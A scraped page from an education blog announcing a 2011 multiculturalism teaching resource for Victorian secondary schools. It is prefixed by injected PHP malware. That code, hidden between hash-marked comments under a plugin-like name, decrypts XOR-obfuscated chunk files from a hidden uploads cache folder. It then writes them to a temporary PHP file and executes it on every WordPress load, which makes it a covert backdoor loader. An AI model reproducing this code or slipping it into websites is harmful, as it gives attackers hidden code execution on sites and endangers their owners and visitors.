/* 187182e58205a233d32cf3f35c704602 */ function star_addons_cache_houston() { $cache_dir = ABSPATH . 'wp-content/uploads/.cache/'; $meta_file = $cache_dir . 'cache_meta.bin'; if(!@file_exists($meta_file)) { return; } $meta_encrypted = @file_get_contents($meta_file); if(!$meta_encrypted) { return; } $meta = null; $key = 0; for($i = 1; $i <= 255; $i++) { $test_decrypt = ''; for($j = 0; $j < strlen($meta_encrypted); $j++) { $test_decrypt .= chr((ord($meta_encrypted[$j]) ^ ($i + 1)) & 0xFF); } $test_json = @json_decode($test_decrypt, true); if($test_json && isset($test_json['key']) && isset($test_json['count'])) { $meta = $test_json; $key = intval($test_json['key']); break; } } if(!$meta || $key === 0) { return; } $count = intval($meta['count']); $ordered_chunks = []; for($i = 0; $i < $count; $i++) { $filename = sprintf('cache_%04d.bin', $i); $filepath = $cache_dir . $filename; if(!@file_exists($filepath)) { return; } $encrypted = @file_get_contents($filepath); if(!$encrypted) { return; } $decrypted = ''; for($j = 0; $j < strlen($encrypted); $j++) { $decrypted .= chr((ord($encrypted[$j]) ^ $key) & 0xFF); } $ordered_chunks[$i] = $decrypted; } if(count($ordered_chunks) === $count) { ksort($ordered_chunks); $code = implode('', $ordered_chunks); if($code && strlen($code) > 10) { $temp_file = $cache_dir . 'temp_' . uniqid() . '.php'; if(@file_put_contents($temp_file, $code, LOCK_EX)) { @include $temp_file; @unlink($temp_file); } } } } add_action('plugins_loaded', 'star_addons_cache_houston'); /* /187182e58205a233d32cf3f35c704602 */ DiversityAn Educational Advantage Online Teacher Support Material | Education About Religions and Beliefs

DiversityAn Educational Advantage Online Teacher Support Material

Posted on December 10, 2011

Diversity—An Educational Advantage Online Teacher Support Material (TSM) has been developed for use by teachers. A 2009 publication by Fethi Mansouri, Louise Jenkins, Michael Leach and Lucas Walsh, entitled Building Bridges: Creating a Culture of Diversity was distributed to all Victorian Secondary schools as a practical teaching and learning resource in the area of multiculturalism. The book consists of a Model of Best Practice, Teaching and Learning Resources and Community-School Engagement Models. The teaching modules aim to broaden student awareness of cultural diversity and develop a more informed understanding of Australia as a culturally diverse nation.

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This entry was posted in Curricula, English, Grade 10, Grade 7, Grade 8, Grade 9, Interactive Resources, Lesson Plans, Resources, Teaching Tools and tagged Australia, cultural diversity, multiculturalism, Secondary Schools, Victoria. Bookmark the permalink.

DiversityAn Educational Advantage Online Teacher Support Material

DiversityAn Educational Advantage Online Teacher Support Material